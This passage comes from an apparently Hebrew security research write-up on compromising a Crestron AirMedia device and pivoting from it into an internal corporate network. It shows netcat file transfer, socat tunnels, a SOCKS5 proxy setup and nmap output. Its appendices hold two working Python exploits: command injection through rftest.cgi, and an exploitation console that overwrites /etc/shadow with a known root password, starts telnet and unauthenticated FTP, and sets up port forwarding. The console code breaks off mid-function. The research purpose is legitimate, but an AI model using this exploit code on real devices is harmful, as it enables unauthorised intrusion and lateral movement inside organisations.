Address 5: 198.168.0.111 CORPA2001.CONTOSO.local 

Address 6: 198.168.0.100 rw2003.CONTOSO.local 

Address 7: 198.168.0.123 cont2001.CONTOSO.local 

Address 8: 198.168.0.44 cont5005.CONTOSO.local 

Address 9: 198.168.0.39 cont5004.CONTOSO.local 

Address 10: 198.168.0.145 

Address 11: 198.168.0.123 cont1001.CONTOSO.local 

Address 12: 198.168.0.15 cont1002.CONTOSO.local 

Address 13: 198.168.0.123 

Address 14: 198.168.0.123 cont1002.CONTOSO.local 

Address 15: 198.168.0.15 cont2002.CONTOSO.local 

Address 16: 198.168.0.123 cont1001.CONTOSO.local 

Address 17: 198.168.0.144 cont9001.CONTOSO.local 

Address 18: 198.168.0.145 cont9002.CONTOSO.local 

Address 19: 198.168.0.15 cont1001.CONTOSO.local 

Address 20: 198.168.0.15 

Address 21: 198.168.0.15 cont1004.CONTOSO.local 

Address 22: 198.168.0.144 

Address 23: 198.168.0.123 cont3001.CONTOSO.local 

Address 24: 198.168.0.123 cont1003.CONTOSO.local 

Address 25: 198.168.0.15 cont3002.CONTOSO.local 

Address 26: 198.168.0.123 

Address 27: 198.168.0.15 

Address 28: 198.168.0.101 RW2007.CONTOSO.local 

Address 29: 198.168.0.104 rw8004.CONTOSO.local 

Address 30: 198.168.0.102 RW2008.CONTOSO.local 

Address 31: 198.168.0.104 rw6004.CONTOSO.local 

Address 32: 198.168.0.100 rw6008.CONTOSO.local 
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Address 33: 198.168.0.15 cont1001.CONTOSO.local 

Address 34: 198.168.0.105 cont3005.CONTOSO.local 

Address 35: 198.168.0.15 cont1002.CONTOSO.local 

Address 36: 198.168.0.123 cont1001.CONTOSO.local 

Address 37: 198.168.0.123 cont1002.CONTOSO.local 

Address 38: 198.168.0.15 cont1001.CONTOSO.local 

Address 39: 198.168.0.110 cont4006.CONTOSO.local 

Address 40: 198.168.0.100 

Address 41: 198.168.0.144 cont1001.CONTOSO.local 

Address 42: 198.168.0.145 cont7002.CONTOSO.local 

Address 43: 198.168.0.145 cont1002.CONTOSO.local 

Address 44: 198.168.0.123 cont1002.CONTOSO.local 

Address 45: 198.168.0.15 

Address 46: 198.168.0.100 cont4005.CONTOSO.local 

Address 47: 198.168.0.144 cont7001.CONTOSO.local 

[ping -c4 CONTOSO.local] PING CONTOSO.local (192.168.0.123): 56 data 

bytes 

64 bytes from 192.168.0.123: seq=0 ttl=123 time=1.722 ms 

64 bytes from 192.168.0.123: seq=1 ttl=123 time=1.471 ms 

64 bytes from 192.168.0.123: seq=2 ttl=123 time=1.524 ms 

64 bytes from 192.168.0.123: seq=3 ttl=123 time=1.525 ms 

--- CONTOSO.local ping statistics --- 

4 packets transmitted, 4 packets received, 0% packet loss 

round-trip min/avg/max = 1.471/1.560/1.722 ms 

נראה על פניו שגישת הרשת שלנו קיימת. חיבוריות קיימת. השלב הבא מצריך בחינה עמוקה יותר של 

 מסוגלים לעבור.  UDPאו  TCPהאם חיבורי 

 

 ניצול

על מנת שיאפשר לנו להתחיל לגשר בין הרשתות  socatהשלב הראשון שאליו כיוונו הוא העלעה של 

בגיט האב שמכיל בינארים שכבר קומפלו  3לפחות באופן חלקי. חיפוש מהיר הביא אותנו אל הקישור הבא

 כדי לחסוך כל מיני בעיות אפשריות.  netcatמקומפל בוצע על ידי  socatבאופן סטטי. העלאת 

/usr/bin/nc -l -p 9999 > /tmp/socat 

 :socket-והעברתו ע"ג ה

cat socat | nc -vvv {IP} 9999 

DNS fwd/rev mismatch: CrestronHostname != CrestronHostname.CONTOSO.local 

CrestronHostname [{IP}] 9999 (?) open 

sent 8192, rcvd 0: NOTSOCK 

cat: write error: No space left on device 

נראה שהפקודה נכשלה עקב חוסר מקום על המחיצה (חוסר המקום נבע מכך שהמחיצה נטענה ללא 

 הרשאות כתיבה. טענו את המחיצה מחדש:

mount o remount,rw /dev/mmcblk1p3 /mnt/mmcblk1p3 

[df -h] Filesystem                Size      Used Available Use% Mounted 

on 

/dev/root                 9.3M      9.3M         0 100% /mnt/.cramfs 

                                                           
 

3 https://github.com/jakev/android-binaries/blob/master/socat 
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/dev/mmcblk1p2          240.8M     73.8M    154.8M  32% / 

mdev                    113.0M      4.0K    113.0M   0% /dev 

/dev/mmcblk1p3          975.1M      9.1M    966.0M   1% /mnt/mmcblk1p3 

/dev/mmcblk1p4            1.9G      4.0K      1.9G   0% 

/tmp/usb/mmcblk1p4 

[mount] rootfs on / type rootfs (rw) 

/dev/root on /mnt/.cramfs type cramfs (ro,relatime) 

/dev/mmcblk1p2 on / type ext2 (rw,relatime,errors=continue) 

proc on /proc type proc (rw,relatime) 

ramfs on /tmp type ramfs (rw,relatime) 

sysfs on /sys type sysfs (rw,relatime) 

usbfs on /proc/bus/usb type usbfs (rw,relatime) 

mdev on /dev type tmpfs (rw,relatime) 

devpts on /dev/pts type devpts (rw,relatime,mode=600) 

/dev/mmcblk1p3 on /mnt/mmcblk1p3 type vfat 

(ro,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

/dev/mmcblk1p4 on /tmp/usb/mmcblk1p4 type vfat 

(rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

[ ls -al /mnt/mmcblk1p3] drwxr-xr-x    2 root     root          4096 Jan  

1  1970 . 

drwxrwxr-x   21 1006     1002          4096 Jun  6 18:36 .. 

-rwxr-xr-x    1 root     root        225285 Jun 16 14:53 osdimg 

-rwxr-xr-x    1 root     root             4 Jun 16 14:53 osdsize 

-rwxr-xr-x    1 root     root       8388608 Jun  6 18:36 spi.img 

-rwxr-xr-x    1 root     root        921654 Jun  6 18:36 ulogo.bmp 

[mount -o remount,rw /dev/mmcblk1p3 /mnt/mmcblk1p3] 

[mount] rootfs on / type rootfs (rw) 

/dev/root on /mnt/.cramfs type cramfs (ro,relatime) 

/dev/mmcblk1p2 on / type ext2 (rw,relatime,errors=continue) 

proc on /proc type proc (rw,relatime) 

ramfs on /tmp type ramfs (rw,relatime) 

sysfs on /sys type sysfs (rw,relatime) 

usbfs on /proc/bus/usb type usbfs (rw,relatime) 

mdev on /dev type tmpfs (rw,relatime) 

devpts on /dev/pts type devpts (rw,relatime,mode=600) 

/dev/mmcblk1p3 on /mnt/mmcblk1p3 type vfat 

(rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

/dev/mmcblk1p4 on /tmp/usb/mmcblk1p4 type vfat 

(rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

 וניסינו את הטריק שוב:

/usr/bin/nc -l -p 9999 > /mnt/mmcblk1p3/socat 

על שני הקבצים הראתה האשים זהים. השלב הבא היה בדיקה של החיבור והאם  md5הפעם, בדיקה של 

בכדי לוודא שהוא ממשיך לרוץ  הוא באמת עובד. לצורך כך העלינו את הסקריפט הבא והרצנו אותו עם &

 ברקע עד אשר נרצה באמת להרוג אותו:

socat TCP-LISTEN:8888,fork TCP:www.morirt.com:80 

socat TCP-LISTEN:8889,fork TCP:contoso.local:445 

socat TCP-LISTEN:8890,fork TCP:www.contoso.com:80 
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כאשר המטרה מכל הבלגאן הזה הוא להבין איזה סוג חיבורים יש לנו ולאן, בהנחה שכרגע (!) מעניין 

שהרצנו החזירו תשובה חיובית. (רק אחד החזיר  GET-. תוצאה: שלושת בקשות הTCPאותנו רק חיבורי 

 ). WEBאך הבקשות הגיעו גם אם קיבלנו שגיאה מהרשת  200

 TCPי מבחינה פרקטית. אנחנו יכולים להגיע לפורטים ונראה שחיבורי זה נחמד, אך עדיין קצת בעיית

עוברים באופן תקין, אך הגדרה שונה כל פעם נראית מגושמת מאוד ולא כל כך פרקטית. אז, אחרי חיפוש 

 קטן עם פתירת שמות דומיינים שונים הגענו לפרוקסי הפנימי והשתמשנו בשורה הבאה: 

socat TCP-LISTEN:8111,fork,reuseaddr TCP:HTTP_PROXY_IP:3128 

-של ה IP-על כתובת ה HTTPובזה נגמר הסיפור. השלב הבא היה להגדיר את הדפדפן שלנו עם פרוקסי 

Crestron  ואנחנו גולשים חופשי בתוך הארגון.  3128יחד עם פורט 

. אבל עדיין יגביל אותנו קצת ויהיה קצת מלא זה נחמד מאוד HTTP Proxyעכשיו להרים את זה קצת. שרת 

מלא שיאפשר לנו  SOCKS5עקום מבחינת פתיחת פורטים וכו׳. אז המטרה עכשיו היא להרים לשרת 

 הוא כלי שמיועד בידיוק לשם כך.  Microsocks4באמת קצת יותר משחקים וחופשיות עם הרשת. 

 אז עכשיו ניקח מכונת לינוקס אחרת ונבצע: 

sudo apt-get install libc6-armel-cross libc6-dev-armel-cross binutils-

arm-linux-gnueabi libncurses5-dev # installing components for cross-

compilation 

git clone https://github.com/rofl0r/microsocks 

cd microsocks 

# Add the following line to the Makefile (CC = "/usr/bin/arm-linux-

gnueabi-gcc") 

ubuntu ~/microsocks > make 

"/usr/bin/arm-linux-gnueabi-gcc"  -Wall -std=c99   -c -o sockssrv.o 

sockssrv.c 

"/usr/bin/arm-linux-gnueabi-gcc"  -Wall -std=c99   -c -o server.o 

server.c 

"/usr/bin/arm-linux-gnueabi-gcc"  -Wall -std=c99   -c -o sblist.o 

sblist.c 

"/usr/bin/arm-linux-gnueabi-gcc"  -Wall -std=c99   -c -o sblist_delete.o 

sblist_delete.c 

"/usr/bin/arm-linux-gnueabi-gcc"  sockssrv.o server.o sblist.o 

sblist_delete.o -lpthread -o microsocks 

ubuntu ~/microsocks > file microsocks 

microsocks: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), 

dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, 

BuildID[sha1]=a229ce64c6502847f838bbdfcfb9f05a4d8e7842, not stripped 

 

והרצה שלו הביאה אותנו למצב שבוא גם סריקת פורטים הרבה יותר  microsocksבשלב הזה, העלעה את 

 פשוטה: 

[/tmp/microsocks -1 -i 0.0.0.0 -p 9050 -u abc -P password123 & disown]  

                                                           
 

4 https://github.com/rofl0r/microsocks 
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 סיכום

 אכן הצלחנו לקשר בין שתי הרשתות והצלחנו להוכיח ש: -אז כמו שראיתם 

 .ביניהן לדלג מנת על מספיק נפרדות רשתות שתי בין אחד חיבור גם .1

 ללא עצמכם את תמצאו בסוף אך מבטיחים מאוד שנראים חוט קצוות תמשכו לעיתים, מחקר בעת .2

 . חדשות מערכות של והמחקר הלמידה מתהליך חלק זהו. גמור בסדר וזה, כלום

 ".האמיתי" בעולם זהה מערכת תקיפת לבין" יבשה" מערכת על מחקר בין ביותר משמעותי הבדל יש .3

 

תקווה שמאמר זה הצליח לשקף בצורה טובה ובהירה את התהליך שעברנו, את דרך המחשבה כולנו 

שלנו, ואת כיווני המחקר שצדענו בהם, גם האלה שלא הובילו אותנו לתוצאה סופית טובה וגם האלה 

 שבסופו של דבר הביאו לנו את מטרתנו.

 Github-במאמר. תוכלו למצוא אותו באוטומציה לכל מה שקראתם שה וכלי קטן שעאחרי הכל, כתבנו כלי 

 !מקווים שנהנתם בעת הקריאה. 5שלי

 

 תודות

 על העזרה בתרגום המאמר.אפיק קסטיאל רבה לתודה 

 

                                                                                                    

                   

  

                                                           
 

5 https://github.com/ytisf/RandomGoodness/CrestronAirMediaRCE.py 
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 נספחים

 nmap-ב הסריקה של הפלט -' א נספח

Starting Nmap 7.40 ( https://nmap.org ) at 2018-09-19 10:12 SE Asia Standard Time 

Nmap scan report for {IP} 

Host is up (0.000030s latency). 

Not shown: 993 closed ports 

PORT     STATE SERVICE        VERSION 

80/tcp   open  http           lighttpd 1.4.37 

389/tcp  open  ldap? 

443/tcp  open  ssl/http       lighttpd 1.4.37 

515/tcp  open  printer? 

1688/tcp open  nsjtp-data? 

3268/tcp open  globalcatLDAP? 

8080/tcp open  http-proxy? 

3 services unrecognized despite returning data. If you know the service/version, please 

submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : 

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== 

SF-Port515-TCP:V=7.40%I=7%D=9/19%Time=5BA1BEAB%P=i686-pc-windows-windows%r 

SF:(NULL,C,"wppib\0\0\x10\0\0\0\0")%r(Help,C,"wppib\0\0\x10\0\0\0\0")%r(LP 

SF:DString,C,"wppib\0\0\x10\0\0\0\0")%r(TerminalServer,C,"wppib\0\0\x10\0\ 

SF:0\0\0")%r(GenericLines,C,"wppib\0\0\x10\0\0\0\0")%r(HTTPOptions,C,"wppi 

SF:b\0\0\x10\0\0\0\0")%r(RTSPRequest,C,"wppib\0\0\x10\0\0\0\0")%r(DNSStatu 

SF:sRequest,C,"wppib\0\0\x10\0\0\0\0")%r(X11Probe,C,"wppib\0\0\x10\0\0\0\0 

SF:")%r(LDAPBindReq,C,"wppib\0\0\x10\0\0\0\0")%r(LANDesk-RC,C,"wppib\0\0\x 

SF:10\0\0\0\0")%r(NCP,C,"wppib\0\0\x10\0\0\0\0")%r(WMSRequest,C,"wppib\0\0 

SF:\x10\0\0\0\0")%r(afp,C,"wppib\0\0\x10\0\0\0\0"); 

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== 

SF-Port1688-TCP:V=7.40%I=7%D=9/19%Time=5BA1BEC5%P=i686-pc-windows-windows% 

SF:r(RPCCheck,2B,"AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0\0\0\0\ 

SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(SSLSessionReq,2B,"AudioPro\x14\x10\ 

SF:x02\0\0\xacD\x20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 

SF:)%r(TLSSessionReq,2B,"AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0 

SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(Kerberos,2B,"AudioPro\x14\x1 

SF:0\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 

SF:0")%r(SMBProgNeg,2B,"AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0\ 

SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(FourOhFourRequest,2B,"AudioPr 

SF:o\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 

SF:0\0\0\0\0")%r(LDAPSearchReq,2B,"AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0 

SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(SIPOptions,2B,"Aud 

SF:ioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 

SF:0\0\0\0\0\0\0")%r(NotesRPC,2B,"AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\ 

SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(WMSRequest,2B,"Audi 

SF:oPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 

SF:\0\0\0\0\0\0")%r(giop,2B,"AudioPro\x14\x10\x02\0\0\xacD\x20\0\0\0\0\0\0 

SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); 

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== 

SF-Port8080-TCP:V=7.40%I=7%D=9/19%Time=5BA1BEC7%P=i686-pc-windows-windows% 

SF:r(Socks4,C,"wppib\0\0\x10\0\0\0\0")%r(GenericLines,C,"wppib\0\0\x10\0\0 

SF:\0\0")%r(DNSStatusRequest,C,"wppib\0\0\x10\0\0\0\0")%r(Help,C,"wppib\0\ 

SF:0\x10\0\0\0\0")%r(LPDString,C,"wppib\0\0\x10\0\0\0\0")%r(LDAPBindReq,C, 

SF:"wppib\0\0\x10\0\0\0\0")%r(LANDesk-RC,C,"wppib\0\0\x10\0\0\0\0")%r(Term 

SF:inalServer,C,"wppib\0\0\x10\0\0\0\0")%r(NCP,C,"wppib\0\0\x10\0\0\0\0")% 

SF:r(afp,C,"wppib\0\0\x10\0\0\0\0"); 

No exact OS matches for host (If you know what OS is running on it, see 

https://nmap.org/submit/ ). 

TCP/IP fingerprint: 

OS:SCAN(V=7.40%E=4%D=9/19%OT=80%CT=1%CU=30146%PV=Y%DS=2%DC=I%G=Y%TM=5BA1BF4 

OS:2%P=i686-pc-windows-windows)SEQ(SP=C4%GCD=1%ISR=C8%TI=Z%II=I%TS=8)OPS(O1 

OS:=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B4ST11NW 

OS:6%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R= 

OS:Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R 

OS:D=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q 

OS:=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK= 

OS:G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) 

 

Network Distance: 2 hops 

 

OS and Service detection performed. Please report any incorrect results at 

https://nmap.org/submit/ . 
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Nmap done: 1 IP address (1 host up) scanned in 158.57 seconds 

Starting Nmap 7.01 ( https://nmap.org ) at 2018-09-19 10:44 UTC 

Initiating Ping Scan at 10:44 

Scanning localhost (127.0.0.1) [2 ports] 

Completed Ping Scan at 10:44, 0.00s elapsed (1 total hosts) 

Initiating Connect Scan at 10:44 

Scanning localhost (127.0.0.1) [1000 ports] 

Discovered open port 25/tcp on 127.0.0.1 

Discovered open port 443/tcp on 127.0.0.1 

Discovered open port 22/tcp on 127.0.0.1 

Discovered open port 5432/tcp on 127.0.0.1 

Discovered open port 3333/tcp on 127.0.0.1 

Completed Connect Scan at 10:44, 0.03s elapsed (1000 total ports) 

Nmap scan report for localhost (127.0.0.1) 

Host is up (0.000072s latency). 

Not shown: 995 closed ports 

PORT     STATE SERVICE 

22/tcp   open  ssh 

25/tcp   open  smtp 

443/tcp  open  https 

3333/tcp open  dec-notes 

5432/tcp open  postgresql 
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 Binwalk של הפלט -' ב נספח

$ binwalk AM-100_firmware_1.5.0.4_6506508_WM8440.img 

 

DECIMAL       HEXADECIMAL     DESCRIPTION 

-------------------------------------------------------------------------------- 

512           0x200           CramFS filesystem, little endian, size: 25186304, version 2, 

sorted_dirs, CRC 0x904C4F6B, edition 0, 11169 blocks, 1163 files 

30409216      0x1D00200       uImage header, header size: 64 bytes, header CRC: 

0x81700932, created: 2015-06-18 09:22:00, image size: 1828396 bytes, Data Address: 0x8000, 

Entry Point: 0x8000, data CRC: 0x240A125D, OS: Linux, CPU: ARM, image type: OS Kernel 

Image, compression type: none, image name: "Linux-2.6.32.9-default" 

30409280      0x1D00240       Linux kernel ARM boot executable zImage (little-endian) 

30421777      0x1D03311       gzip compressed data, maximum compression, from Unix, last 

modified: 2015-06-18 09:22:00 

33196229      0x1FA88C5       Certificate in DER format (x509 v3), header length: 4, 

sequence length: 755 

33196253      0x1FA88DD       Certificate in DER format (x509 v3), header length: 4, 

sequence length: 753 

33254176      0x1FB6B20       U-Boot version string, "U-Boot 1.1.4 (Mar  6 2012 - 

15:16:37)" 

33260000      0x1FB81E0       CRC32 polynomial table, little endian 

33261216      0x1FB86A0       CRC32 polynomial table, little endian 

33358662      0x1FD0346       U-Boot version string, "U-Boot 1.1.4 (Mar  6 2012 - 

15:16:37)" 

33358839      0x1FD03F7       U-Boot version string, "U-Boot 1.1.4 (May 26 2011 - 

16:50:56)" 

33359189      0x1FD0555       U-Boot version string, "U-Boot 1.1.4 (May 26 2011 - 

16:50:56)" 

33359371      0x1FD060B       U-Boot version string, "U-Boot 1.1.4 (May 26 2011 - 

16:50:56)" 

33359435      0x1FD064B       U-Boot version string, "U-Boot 1.1.4 (May 26 2011 - 

16:50:56)" 

33424198      0x1FE0346       U-Boot version string, "U-Boot 1.1.4 (Mar  6 2012 - 

15:16:37)" 

33424375      0x1FE03F7       U-Boot version string, "U-Boot 1.1.4 (May 26 2011 - 

16:50:56)" 

33424725      0x1FE0555       U-Boot version string, "U-Boot 1.1.4 (May 26 2011 - 

16:50:56)" 

33424907      0x1FE060B       U-Boot version string, "U-Boot 1.1.4 (May 26 2011 - 

16:50:56)" 

33424971      0x1FE064B       U-Boot version string, "U-Boot 1.1.4 (May 26 2011 - 

16:50:56)" 
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 Remote Code Execution -' ג נספח

#!/usr/bin/env python3 

 

import re 

import ssl 

import json 

import socket 

import urllib.parse 

import urllib.request 

 

from requests.utils import quote 

 

 

SSL_PORT = 443 

SSL_PREFIX = "https://" 

HOST = "{IP}" 

TOKEN = "xxx" 

PATH = "/cgi-bin/rftest.cgi" 

 

 

HEADER_DYNAMIC = [ 

    r'(Date\:\s.+20.+GMT)', r'(Expires\:\s.+20.+GMT)' 

] 

HEADER_STATIC = [ 

    'Connection: close', 'Transfer-Encoding: chunked', 

    'Content-Type: text/html', 'X-XSS-Protection: 1; mode=block', 

    'Cache-Control: public, must-revalidate, proxy-revalidate, max-age=604800', 

    'Strict-Transport-Security: max-age=31536000; includeSubDomains; preload', 

    'X-Frame-Options: sameorigin', 'Connection: close', 'Server: lighttpd/1.4.37' 

] 

 

ssl._create_default_https_context = ssl._create_unverified_context 

socket.setdefaulttimeout(10) 

 

def parse_output(header, body): 

    # Handle the Headers 

    header_temp = header 

    for r in HEADER_STATIC: 

        header_temp = header_temp.replace(r, "") 

    header_temp = header_temp.strip() 

 

    # Handle the Body 

    body_temp = body[:body.find("<!DOCTYPE html PUBLIC")] 

    for r in HEADER_STATIC: 

        body_temp = body_temp.replace(r, "") 

    body_temp = body_temp.strip() 

 

    # Conjoin and remove dynamic headers: 

    all_temp = header_temp + body_temp 

    for reg in HEADER_DYNAMIC: 

        all_temp = re.sub(reg, '', all_temp) 

 

    # Cleanup on isle [:-4]! 

    if all_temp[-4:] == "1024": 

        all_temp = all_temp[:-4] 

    elif all_temp[-4:] == "0fe5": 

        all_temp = all_temp[:-4] 

 

    return all_temp.strip() 

 

 

def send_request(command="ls"): 

    data = { 

        "ATE_COMMAND": "REPLACEME", 

        "ATECHANNEL": "", 

        "ATETXLEN": "", 

        "ATETXCNT": "", 

        "ATETXMODE": "", 

        "ATETXBW": "", 

        "ATETXGI": "", 

        "ATETXMCS": "", 

        "ATETXANT": "", 
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        "ATERXANT": "", 

        "ATERXFER": "", 

        "ResetCounter": "", 

        "ATEAUTOALC": "", 

        "ATEIPG": "", 

        "ATEPAYLOAD": "", 

        "ATE": "TXCONT" 

    } 

    data = bytes(urllib.parse.urlencode(data).encode()) 

    data = data.replace(bytes("REPLACEME".encode()), bytes(quote(command, 

safe='').encode())) 

    handler = urllib.request.urlopen('%s%s%s?%s' % (SSL_PREFIX, HOST, PATH, TOKEN), data 

); 

    resp_body = handler.read().decode('utf-8') 

    resp_headers = handler.headers.as_string() 

    return (resp_headers, resp_body) 

 

commands = ["ls /", "whoami"] 

for command in commands: 

    head, body = send_request(command) 

    output = parse_output(head, body) 

    print("["+command+"] \x1b[0;36;40m" + output + "\x1b[0m") 
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 מלאה ניצול קונסולת - ד נספח

#!/usr/bin/python 

 

import re 

import ssl 

import sys 

import time 

import socket 

import random 

import ftplib 

import urllib 

import inspect 

 

try: 

    import httplib 

except: 

    pass 

import telnetlib 

 

# Globals 

SSLPORT = 443 

PORT_FORWARING_BINARY = 'portforward' 

BANNER = "" 

socket.setdefaulttimeout(5) 

 

 

def _FTPUpload(host, file_path): 

    try: 

        fh = open(file_path, 'rb') 

    except: 

        __print("Could not find file %s" % file_path, 2) 

        return False 

 

    if "/" in file_path: 

        file_name = file_path.split("/")[:-1] 

    else: 

        file_name = file_path 

 

    try: 

        session = ftplib.FTP(host, 'root', '') 

        session.storbinary('STOR /mnt/%s' % file_name, fh) 

        fh.close() 

        session.quit() 

        __print("File '%s' uploaded to '/mnt/%s'" % (file_path, file_name), 1) 

        return True 

    except: 

        __print("Failed to upload file '%s'" % file_name, 2) 

        return False 

 

 

def __print(text, level=0): 

    """ 

    0 = No texting 

    1 = Good! 

    2 = Bad 

    """ 

    GREEN = '\033[92m' 

    FAIL = '\033[91m' 

    ENDC = '\033[0m' 

    if level == 0: 

        sys.stdout.write("[ ]\t[%s] %s.\n" % (inspect.stack()[1][3], text)) 

        return True 

    elif level == 1: 

        sys.stdout.write("%s[+]%s\t[%s] %s.\n" % (GREEN, ENDC, inspect.stack()[1][3], text)) 

        return True 

    elif level == 2: 

        sys.stdout.write("%s[-]%s\t[%s] %s.\n" % (FAIL, ENDC, inspect.stack()[1][3], text)) 

        return True 

    else: 

        return False 

 

 

def _TelnetCommand(host, command): 
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    user = "root" 

    password = "toor" 

    try: 

        tn = telnetlib.Telnet(host) 

        tn.read_until("login: ") 

        tn.write(user + "\n") 

        if password: 

            tn.read_until("Password: ") 

            tn.write(password + "\n") 

        tn.write("%s\n" % command) 

        tn.write("exit\n") 

    except: 

        __print("Telnet failed. Have you opened it?", 2) 

        return False 

    try: 

        output = str(tn.read_all()) 

        start = output.find("# %s" % command) + len(command) + 2 

        end = output.find("# exit") - 1 

        return output[start:end] 

    except: 

        __print("Command was executed but got no output", 1) 

        return True 

 

 

def _testPort(host, port): 

    try: 

        sock = socket.socket() 

        sock.connect((host, port)) 

        sock.close() 

        return True 

    except: 

        return False 

 

 

def _sendCommand(host, command): 

    actual_data = { 

        'ATE_COMMAND': command, 

        'ATECHANNEL': "", 

        'ATETXLEN': "", 

        'ATETXCNT': "", 

        'ATETXMODE': "", 

        'ATETXBW': "", 

        'ATETXGI': "", 

        'ATETXMCS': "", 

        'ATETXANT': "", 

        'ATERXANT': "", 

        'ATERXFER': "", 

        'ResetCounter': "", 

        'ATEAUTOALC': "", 

        'ATEIPG': "", 

        'ATEPAYLOAD': "", 

        'ATE': "TXCONT" 

    } 

    params = urllib.urlencode(actual_data) 

    headers = { 

        "Content-type": "application/x-www-form-urlencoded", 

        "Accept": "text/plain"} 

    try: 

        conn = httplib.HTTPSConnection("%s:443" % host, context=ssl._create_unverified_context()) 

        conn.request("POST", "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html", params, headers) 

    except: 

        __print("Error connecting to %s:443. Are you sure it's open?" % host, 2) 

        return False 

    try: 

        response = conn.getresponse() 

        data = response.read() 

    except ssl.SSLError as e: 

        if "&" in command: 

            return False 

        else: 

            __print("Timeout for executing command '%s' on host '%s'" % (command, host)) 

            return False 

    conn.close() 

    retme = data[:data.find("Content-Type: text/html")] 
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    if "<input type=\"button\" value=\"Stop\" onClick=\"Stop();\" />" in retme: 

        return "" 

    else: 

        return retme 

 

 

def _startTelnet(host): 

    if _testPort(host, 23): 

        __print("Port 23 already open on host '%s'" % host, 0) 

        return 

    else: 

        __print("Telnet services seemed closed on '%s'. Trying to start it now" % host) 

    _sendCommand(host, "mount -o remount,rw /") 

    _sendCommand(host, 

                 "echo 

'root:$6$4TUqmrlm$BnnELTN1V8EcmeN.dmOtXKyFZgEH8ve9GMfJ3AgXxBODe/BZXC7kW3d.tt0esADRHksyHmHt

mrj6G15Oc9E6j0:17156:0:99999:7:::' > /etc/shadow") 

    _sendCommand(host, "/usr/sbin/telnetd start") 

 

    if _testPort(host, 23): 

        __print("Telnet service had been enabled on %s. Credentials are root:toor" % host, 

1) 

    else: 

        __print("Telnet service had NOT been enabled on %s" % host, 2) 

    return 

 

 

def _startFTP(host): 

    if _testPort(host, 21): 

        __print("Port 21 already open on host '%s'" % host, 0) 

        return 

    else: 

        __print("FTP services seemed closed on '%s'. Trying to start it now" % host) 

    _TelnetCommand(host, "tcpsvd -vE 0.0.0.0 21 ftpd -w / &") 

    if _testPort(host, 21): 

        __print("FTP service had been enabled on %s. No credentials required" % host, 1) 

    else: 

        __print("FTP service had NOT been enabled on %s" % host, 2) 

    return 

 

 

def _ChangeBanner(host, new_banner): 

    _sendCommand(host, "echo %s > /etc/motd" % new_banner) 

    return 

 

 

def _SetupForwarding(to_host, from_host): 

    if _testPort(from_host[0], 21): 

        ftp = True 

    else: 

        __print("Please enable FTP service before continuing", 2) 

        return False 

 

    if _testPort(from_host[0], 23): 

        telnet = True 

    else: 

        __print("Please enable Telnet service before continuing", 2) 

        return False 

 

    _FTPUpload(from_host[0], PORT_FORWARING_BINARY) 

    output = _TelnetCommand(from_host[0], 'chmod +x /mnt/portforward') 

    output = _TelnetCommand(from_host[0], '/mnt/portforward %s %s %s &' % (from_host[1], 

to_host[0], to_host[1])) 

    time.sleep(1) 

    if _testPort(from_host[0], int(from_host[1])): 

        __print( 

            "Port forwarding from %s:%s --> %s:%s is enabled" % (from_host[0], 

from_host[1], to_host[0], to_host[1]), 1) 

        return True 

    else: 

        __print("Port forwarding from %s:%s --> %s:%s Failed" % (from_host[0], 

from_host[1], to_host[0], to_host[1]), 2) 

        return True 
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def _PortScan(creston_host, ip_to_scan, ports=[22, 21, 23, 135, 139, 445, 88, 80, 443], 

verbosity=True): 

    __print("Starting port scan from '%s' on '%s'" % (creston_host, ip_to_scan)) 

    for port in ports: 

